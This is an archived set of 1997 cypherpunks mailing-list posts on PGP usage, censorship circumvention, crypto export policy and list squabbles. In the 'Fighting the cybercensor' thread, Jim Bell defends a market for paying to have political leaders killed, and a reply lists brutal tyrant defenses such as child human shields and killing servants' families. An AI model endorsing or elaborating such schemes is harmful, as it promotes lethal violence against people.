>is there a way to preview the contents of a received public key,
>without adding it automatically to the public key ring?

>Thanks a lot in advance...

Yes,

Say newkey.asc contains the new keys you wish to preview. Thye the following:

pgp -kv newkey.asc

It will display all the key info in that file.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered E-Secure v1.1 0000000

iQCVAwUBMu++/49Co1n+aLhhAQEa/AP/b6LvLkII2itKK1L8kvOO7rk5qta3/7kV
lbB1r+cSakVGBaCpjI1tq6TmWP4H6bhP1atZX1V/yGlg6cFJx8chy6jgx3JO0Ium
6qJGsBWhSentsJfiMan13uflDLVBJ9JSEy/II5EIzxHPR88UBokal3R/XkHpkjwt
tOBF5Q9hFVU=
=pgtD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:42:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701280126.RAA12277@toad.com>
Message-ID: <m28a2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> moscow state university in russia is not bad also.
> 
> they teach lots of theory... which is good.
> 
> 	- Igor.
> 

Do they have a master's program in computer science? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sqa@usa.net
Date: Wed, 29 Jan 1997 15:30:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: H                   E                          Y!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <199701292328.PAA25852@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

                                                                     $   $
                                                    $$$$$$$$$$$$$$$$$$$        
                                                $$                 $   $              $$
                                             $$                    $   $                  $
                                           $$                      $   $
                                         $$                        $   $      
                                        $$                         $   $                                         
                                        $$                         $   $  
                                          $$                       $   $
                                           $$$                    $   $
                                              $$                   $   $
                                                 $$                $   $
                                                     $$            $   $
                                                        $$$$$$$$$$$$$$$$$$$$ 
                                                            $$$$$$$$$$$$$$$$$$$$ 
                                                                     $   $                       $$
                                                                     $   $                         $$                                       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:45:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: c2 internet accounts
In-Reply-To: <Pine.SUN.3.91.970128161842.10400E-100000@crl.crl.com>
Message-ID: <8e9a2D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:
> 
> > does c2net still offer internet accounts? I liked their
> > offer for internet accounts with a 5 mb web site via
> > telnet. does anyone else know of a place for cheap
> > telnet only accounts?
> 
> C2Net no longer offers new shell accounts and we are phasing out
> pre-existing accounts.  We still offer virtual web hosting.
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 

Check out Sameer's net.scum web page for some important information on C2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Wed, 29 Jan 1997 12:38:00 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
In-Reply-To: <199701291458.GAA03382@toad.com>
Message-ID: <Pine.LNX.3.95.970129153447.14582A-100000@helix.cs.cuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 harka@nycmetro.com wrote:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.

Everytime someone sends a message through White House web site to the
president ( there is a comment form on the site ) it is scanned for
keywords. It probably happens on other key avenues as well.

Of course there are exceptions to every rule. I heard of a woman who wrote
to Clinton something like:
You are such a dynamite leader. I think you have such an explosive
personality, and I'm dying to meet you.

If you want to scan your E-mail, write a little perl script that takes a
list of keywords to scan for, and the action to take when the keywords are
found. It shouldn't be too hard.

-- Elliot                                 http://www.redhat.com/
"I'm a member of the Association of Federations of Linux Project
Initiators That Never Really Get Much Done (AFLPITNRGMD, for short)." 
			   Just do it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 29 Jan 1997 12:38:04 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Workaround for filtering/cybersitter
Message-ID: <199701292043.PAA12641@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text/plain


If I had experience with Netscape plugins and spare time, I'd
try it myself.  But here's my proposed solution.  

A plugin in Netscape intercepts all requests,  encrypt the URL
with a pubkey algorithm, encode the string base64, send it as GET input to
a proxy server.

The proxy server decodes and decrypts the URL, gets the requested page,
and returns it.  This beats out URL-based filtering.

Still need to figure out the specifics of key-exchange.  If we use
40-bit encryption, it's exportable, and it still works in our threat
model (ie. we don't care if the watchers figure out the URL a few hours
later).

To beat out dropping packets with unacceptable pattern in them, we
could use an SSL-based server as the proxy.

The plugin could even have a nice little on/off switch and a list
list of available proxies.

mark

-- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 29 Jan 1997 15:29:19 -0800 (PST)
To: frissell@panix.com (Duncan Frissell)
Subject: Re: Cats Out of Bags
In-Reply-To: <199701291856.KAA07395@toad.com>
Message-ID: <199701292348.PAA27392@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


	David Aaron seems to make lying out of his ass a hobby. His
talk at the RSA conference was such a load of bullshit it wasn't even
funny.

	"Other governments were upset with the 56-bit export
allowance. They said it was going to undermine their national
security."

-- Start of PGP signed section.
> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology.
> 
> "When I talk to other governments," he said, "they still don't feel that the cat is out of the bag."
> 
> What the fuck do *they* know?
> 
> DCF
-- End of PGP signed section, PGP failed!


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 16:36:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701300036.QAA18048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:

>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful

This may be true, but the example was to show how easy a defensive line
could be thrown up around the powerful.  For example, conventional body
guards could be included, ones with no real pay but with the fore knowledge
that they will be buried with the tyrant.  These body guards could be ten
children out of each local village.  Merely a human shield.  In an attack,
they would scatter, but the parents would know that the children would die
if a successful action were taken against the tyrant.  Also, the tyrant
could put an open bounty on anyone caught trying to harm him.  Just bring
the decapitated head of the assassin along with a VHS cassette of the
attempted action for a big reward.  

By layering the defenses, it becomes increasingly difficult for anyone to
get through.

Obviously the castles walls are the first line of defense, so a reward is
given for anyone caught using any entrance to the fortress except those that
are provided.

The household is told that their participation will result in the
extermination of their families.  They are then told that if they know of an
impending action and fail to report it or attempt to stop it, they are
considered party it those actions.

A human shield of innocents is "given the privaledge to live in the fortress
with our great leader" so that actions by concerned parties is limited further.
A standing bounty is placed on the head of the assassin, who so ever brings
in the head of the assassin and all children parented by that person after
the assination will be given a reward of some set sum.  Probably 110%.

A bounty is set on security breaches, this bounty would probably be 110% of
the death mark on the tyrant.

A series of more conventional boobytraps are layed in normally inaccessable
areas, the layers of these either being prisoners who have unknowningly been
condemned to die, the tyrant himself, or some other disposable or trustable
deployment device.  The most common of these would probably be a mine field
between the two outer most walls of the fortress, and maybe a funnel-gun
parimeter inside of that.

An inner sanctum with self contained air, water, and food is maintained for
the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
accessed by biometrics and only used in a percieved emergency.

All dissent is declared illegal with capitol punishment for the mere
discussion of the impending death of the tyrant, exceptions to this would be
persons in the direct company of the tyrant with the tyrants full awareness,
and permission.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Wed, 29 Jan 1997 13:44:59 -0800 (PST)
Subject: "Meeks Unfiltered" on ISP-TV Wednesday nights
Message-ID: <199701292144.QAA16597@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement:

        "Meeks Unfiltered"

*** Wednesday Nights   ***
*** 8:00 PM ET         ***

If you missed "Meeks Unfiltered" last week, you missed how easy it was to
intercept cell phone calls, the recent decision on the Phil Karn encryption
case, and electronic freedom in Hong Kong as it is taken over by China.

Don't miss "Meeks Unfiltered" this week!

Brock N. Meeks is the publisher of the 800,000 subscriber CyberWire Dispatch
electronic news service, and he brings his crusading style into real-time
Internet video with "Meeks Unfiltered." The live uncensored hour-long
show, produced and distributed through ISP-TV, explores cyberspace and
cyberpolitics Wednesdays at 8 PM Eastern Time. 

Call-in questions will be taken during the show at (301) 847-6571.  Tell
Brock and co-host Declan McCullagh what you think!

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html.

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Wed, 29 Jan 1997 15:46:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701292345.QAA14341@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>Society is not bound to put up with cranks and psychopaths.

Err, "Phill", how then do you see yourself fitting in?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: helpinghands@lgcy.com
Date: Wed, 29 Jan 1997 16:24:46 -0800 (PST)
To: info@try.net
Subject: Important information and instruction
Message-ID: <00153551800187@lgcy.com>
MIME-Version: 1.0
Content-Type: text/plain


You obviously have the power and _certainly- the right to delete this
unsolicited message. However, it _does_ contain information that will
be extremely valuable to you regardless of your current employment
situation so I admonish you to read it. Besides, it'll take less than 
one minute.

NOTE: I obtained your e-mail address from a personal search of
Internet ads using a variety of sources. It is not a generic purchased
list, but is highly targeted. It will also be used just one
time...THIS time. You need NOT send a "delete" or "remove" request nor
do any other such nonsense to _not_ receive mail from me again
regarding this information. 

If you have any interest at all in seeing how to _really_ do business 
on the Internet, I invite you to visit:

                   http://www.cyber-action.com/oed/number1.html

(If your e-mail program supports it, you can just double-click on the
URL above and your browser will take you there.)

Seeking home-based employment? Or _any_ employment? A career change? 
Something to assist you financially till your "boat comes in" with 
what you're currently doing?

Well, here're some valuable job-hunting sites on the Internet:

http://www.occ.com
http://www.monster.com
http://www.jobweb.org
http://www.human.resourcecenter.com
http://www.jobcenter.com

If you don't already have a text-file, online resume prepared, you 
might want to check out...

                http://lgcy.com/users/h/helpinghands/strmline.htm

...for a head-start on the process.

That's it. Hope this information serves you well.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 14:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bruce "Penis With a Blister on it" Taylor strikes again...
Message-ID: <v0300782daf1580f6c45c@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-Version: 1.0
Date:         Wed, 29 Jan 1997 17:19:03 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Robert Cannon <cannon@DC.NET>
Subject:      Members of Congress file CDA Amici Curiae Brief
To:           CYBERIA-L@LISTSERV.AOL.COM

Approximately 22 members of Congress filed an Amici Curiae brief with
the Supreme Court in Reno v. ACLY, the constitutional challenge to the
Communications Decency Act (this makes three known briefs filed so far
in support of the CDA).  The brief was filed on behalf of, among others,
Exon, Coats, Helms, Grassley, Hyde, and Goodlatte.  It was written by
Bruce Taylor and Cathleen A. Cleaver.  This brief can be accessed at
http://www.cdt.org/ciec/SC_appeal/970121_Cong_brief.html

Litigation update page:  www.cais.net/cannon/cda/cda-up.htm

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Wed, 29 Jan 1997 10:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI=LIE
Message-ID: <19970129175212.32434.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


>From http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html:
> The World Trade Center bomb was made of urea-nitrate, a compound
> that can be confused with non-explosive mixtures of the same
> ingredients. In an informal internal check of lab procedures, some
> senior FBI lab workers mixed human urine with fertilizer and added
> samples of that non-explosive mixture to the flow of material being
> tested by the chemistry unit. A manager in the chemistry lab
> identified the urine-fertilizer mixture as an explosive.

Just coincidentally, these errors imprison the innocent instead of
freeing the guilty.

> Still, Joseph E. DiGenova, a former U.S. attorney in Washington,
> said the issues raised in the report would allow defendants to
> contest lab findings against them and would permit people convicted
> of crimes to attempt to reopen their cases, based on the possibility
> of flawed forensic evidence.

> "It's going to be a royal pain in the neck for federal judges and
> prosecutors and a godsend for defense attorneys looking for a means
> of getting their clients off," he said

Why not "proving their innocence"?  A prosecutor - and one who does
not respect our legal tradition of presumed innocence - is not a good
choice for a quote here.

Nowhere in the entire article is there evidence that the reporters
talked to anyone outside the FBI/Justice Department milieu.

> Scientists at the lab said they were often stifled in a lab run by
> non-technical field agents who had little knowledge of science and
> who regularly altered reports to help prosecutors. But law
> enforcement officials said there was little evidence that anyone had
> been wrongly convicted based on improper lab work.

Why isn't this the story?  FBI agents regularly committed perjury, and
we see a story about lab errors.

Elliot Ness




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 29 Jan 1997 17:54:45 -0800 (PST)
To: rcgraves@disposable.com>
Subject: Re: AltaVista sprouts a hole ...
Message-ID: <199701300154.RAA02504@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 29 Jan 97 at 2:13, Rich Graves wrote:

> Yes, I mentioned that here and in comp.org.eff.talk a couple weeks
> ago. No need to turn images off. Just tell AltaVista you want
> text-only:
> 
>  http://altavista.digital.com/cgi-bin/query?pg=&text=yes
> 
> You may also find the text-only page a hell of a lot faster.

Funny you should mention this.  It's the only search engine I use, 
and it's the one on my "links" site.

http://www.slip.net/~cdr/kingmedia/links.html

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Wed, 29 Jan 1997 07:30:41 -0800 (PST)
To: <Lynx_User@linux.nycmetro.com>
Subject: Re: uae_1.html (UAE censoring Internet)
Message-ID: <199701291529.TAA02374@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


I've checked the filtering out already ... it's pretty extensive. Far, far
more than Singapore's 'hundred' or so pages. The granularity is such that
things like http://www.domain/~user/main may be passed, while a link from
that
page to a subpage may be blocked. I guess they can afford to do
this with so few users and little traffic. Never thought I'd be real
interested in how Net Nanny worked ... but I am now.

I'd be happy to hear from anyone with good ideas (or (accessible) pointers)
about how to minimize the effects of this stupidity ... :-(

Regards,

Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.


----------
> From: Lynx_User@linux.nycmetro.com
> To: cypherpunks@toad.com
> Subject: uae_1.html
> Date: Tuesday, 28 January 1997 12:26
> 
> 
>                              Reuters New Media
>                                       
>    
>                     [ Yahoo | Write Us | Search | Info ]
>                                       
>    
>     [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
>                             Entertain | Health ]
>                                       
>      _________________________________________________________________
>                                       
>    Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
>    Next Story: Intel to Europe: Get Online Or Fall Behind
>      _________________________________________________________________
>                                       
>    Monday January 27 9:50 AM EST 
>    
> UAE Launches Service To Censor Internet
> 
>    DUBAI - The United Arab Emirates's monopoly Internet provider launched
>    a service Saturday to censor sites in cyberspace that breached local
>    moral values and traditions.
>    
>    Officials from state telecommunications company Etisalat said the new
>    Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
>    will have to configure their web browsers that navigate the net by
>    February 2.
>    
>    "The service was launched today as part of our efforts to improve the
>    Internet service to our subscribers after lengthy study and research,"
>    said one official at Etisalat.
>    
>    "We were working on it before some official statements were made on
>    the need to control access to some sites on the service," he told
>    Reuters.
>    
>    The move follows repeated calls to regulate access to the Internet in
>    the conservative Gulf region, where most women are veiled, magazine
>    pictures revealing cleavage or bare legs are blacked out and
>    questioning the existence of god can be punishable by death.
>    
>    Some are worried about the spread of pornography as well as religious
>    and political material through the worldwide network of interlinked
>    computers.
>    
>    Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
>    created a rare public row in the UAE saying the information ministry
>    and the police, rather that Etisalat, should be authorized to issue
>    Internet licenses as it was their job to monitor data coming into the
>    UAE and maintain security.
>    
>    Telecommunications experts say the Proxy Service will not be "fully
>    water-tight," but would help block access to known and unwanted sites
>    -- a list of which could be constantly updated.
>    
>    The proxy server will be pre-fed with Internet addresses where access
>    is blocked off, industry sources said. But the server will be unable
>    to block access if addresses of prohibited sites are changed, as
>    frequently happens.
>    
>    Etisalat says it will disconnect any customer who abused its Internet
>    services and violated "order and clear laws."
>    
>    "Singapore has succeeded to a great extent in its drive to control
>    harm done by the Internet," said another Etisalat official. "Why
>    cannot we?"
>    
>    Singapore government measures to regulate political and religious
>    content on the Internet and keep it free of pornography became
>    effective in July last year. They require all Internet service
>    operators and local content providers to be registered with the
>    Singapore Broadcasting Authority.
>    
>    Copyright, Reuters Ltd. All rights reserved

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=fHhI
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Wed, 29 Jan 1997 17:21:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Making OCR'ed code transfer easier
Message-ID: <2.2.32.19970130011914.00737930@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain


A month or two ago someone related their experience with OCRing code and
getting it to work; even when it compiled correctly there were still subtle
errors that he/she had to spend hours finding. With the recent threads on
OCRing the DES cracker I was thinking of ways to make it more foolproof
without going so far that the FEDs would get excited. 

If the author/publisher was to include a hash of the source code the person
doing the scanning would know when it was good without having to compile it
and then run it to discover there were still errors in the source. A hash
per page of code would be even easier as it would localize the errors to a
more manageable area, or even more sophisticated methods could be used to
localize any errors.

How far you could go in providing feedback on the correctness of the OCR
process without getting the FEDs all excited is the question.

Just a thought
miner






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 18:33:04 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701300232.SAA15330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article 
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 

"I love you too!  B^)


Question:  What is a "whacko solution"?  Why do you believe AP qualifies?   
Can you list any other "solutions" which are, indeed, "solutions" which are 
NOT "whacko" by your definition?  (I'm trying to determine whether or not 
you even agree that there is a problem!)

Let me pose an issue here by counterexample:  Suppose there was a 
plantation, containing a master and his slaves.  You are told that the 
slaves are "unhappy". (They're unhappy because they're slaves!!!)  That's a 
"problem."  Okay, let me propose that there are at least two broad 
"solutions" to this "problem":  First, change the working conditions just 
enough to make the slaves acceptably happy.  Or, second, eliminate the 
slavery altogether.

Both are "solutions".  The first, obviously, is only a "solution" from the 
stanpoint of the master.  The second appears to be only a "solution" from 
the standpoint of the slaves, since the master obviously doesn't want to 
lose his slaves!  Could you legitimately call the second solution a "whacko 
solution"? (It would be, from the limited standpoint of the master.) How 
about the first?

That's the problem with using such a poorly-defined term as "whacko" to 
describe anything, particularly when many people don't agree.  And here's a 
question:  What do you mean by "credibility"?  I've explained it in enough 
detail to convince a rather substantial number of intelligent people that it 
is likely to be possible, and to some it sounds like it is desireable.  


>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.

A claim which doesn't disprove the functionality of AP one whit.  In fact, 
quite the opposite:  If AP was, indeed, non-functional, then nobody would 
bother with me at all.  The fact that you think they would shows that you 
believe AP threatens SOMEBODY.

This means that your arguments, as minimal as they are, are internally 
contradictory.  They simply don't hold together.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Jan 1997 10:27:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Physician, Heal Thyself!
Message-ID: <199701291826.TAA02571@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



If I say I doubt this message will make into the "Approved By Sandy" list,
it perhaps will, but my very mention of this may mean Fearless Leader will
then chuck it into his Reject pile, but then....

Our Founder wrote:

#Silly things happen when one responds literally to an obvious
#metaphor.  (see, "analogy.")

See "sarcasm." Once again, Sandy flames, but calls it erudition. He uses
sophistry to explain why *his* flames are actually just "corrections".

#Nonsense.  Richard may have read my response on the Unedited list
#and Paul post on the Moderated list, but I sent my response to


#Nope, wrong again.  I referenced sophistry and hypocracy.  I
#leave the significance of the difference as an exercise to the
#student.  (Hint: one is an argument to the man, the other isn't.)

More pointless sarcasm. This is the stuff Sandy would presumably dump into
his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
is by definition approved.

Utter hypocrisy.

#And wrong yet again.  Not a personal attack but commentary on
#wooly thinking.

Remember children, "If it comes from Sandy and appears to be a flame, it
really isn't. It is just a comment on "woolly thinking.""
 
#> One might wonder just what the rules of proper decorum are.

#One might read my posts on this point and pay attention.

And I urge our Enlightened Leader to take his own medicine. Stop flaming
the list and calling it mere commentary.

Xanthar


--


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 18:41:39 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290659.WAA21869@toad.com>
Message-ID: <Pine.LNX.3.95.970129193436.4661A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain


> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
 
...  Not to point out something obvious about this but the person who
wrote this did not have "guts" enough or, just likes his privacy a bit
more than the average person, to come out and write this non-anonymously.
But since that isn't why I am writing this, I'll leave off of it for now.
...
The reason I am writing this is because I am "the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score."  I was informed this by
my school counselor, along with many other things which are as equally
"obnoxious" to my possible college acceptances.
--  I did point out though, in my letter, that my connection was
experiencing sever lag for some reason.  I did narrow that down to being
because my servers call in server and account server where on two
different networks.  
Another point to this is that in my family I am the best speller.  It is
possibly genetic, but it is mostly because of where I grew up and the
other "backwoodsy" things of my "youth".  Now I realise this sounds like a
bunch of excuses and such, and yes I guess it is, but I can if I sit down
and think about something for a milli second longer than normal, and don't
let my left hand out race my right hand, type things with propper grammer
and spelling to my current extent.

Now if the one who did post that "anonymously" would be so kind as to say
such "brave" statements outloud without his or her precious "anonymousity"
it would be much appreciated.

Other than that, I do believe that is about it to this later.

Goodnight and fare you "well"

Erp


ps -- please excuse the quotes, I was using them for mor eaccenting and
well for words that fit in my own way.  


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Check my poetry page if you would like to see more of my bad spelling and
horrendous grammer at:  http://www.digiforest.com/~erp/poetry.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 18:48:38 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701292211.OAA13504@toad.com>
Message-ID: <Pine.LNX.3.95.970129195041.4661B-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ichudov@algebra.com writes:
> 
> > moscow state university in russia is not bad also.
> > 
> > they teach lots of theory... which is good.
> > 
> > 	- Igor.
> > 
> 
> Do they have a master's program in computer science? :-)

---  I looked up on Moscow State University the other day, after having
seen the message which brought this question.  So yes, they do have a
Master's program in Computer Science, at least they claim to have one.

Erp

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Wed, 29 Jan 1997 17:08:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701300108.UAA26140@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon 27 Jan, SpyKing queried:

> This is a little off topic but maybe someone can help. I've got a
> teenage son (HS sophomore) who's interested in majoring in computer
> science in college with a particular interest in cryptography. He's
> leaning toward MIT. Any suggestions from list members as to colleges
> to investigate? 

Avi Rubin at NYU has compiled a list of all security- and crypto-
related university courses that he is aware of.  The URL is:

http://www.cs.nyu.edu/~rubin/courses.html

(This was posted on sci.crypt a couple of weeks ago.)

Hope this gives a starting point,

Cynthia

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAwUBMu/0bpOg7xGCJGQtAQEEPgP8DIMqGqUmGWXtWWrQpv7OP+iIFxegwS9J
6+ZRg1OeB/ivLV2ZTvPbyZJ5a0zevrGIM4uPPjt2YQVLdpyZrpWm0TNPlPE4bgb8
hWEKkpfF8HVRF5jf4s80x3nhmtMzRLSSXy9L03f/m+I45l9HkTOQ4tX7U3WE42ea
9rGdR7SUm1U=
=qDPt
-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"




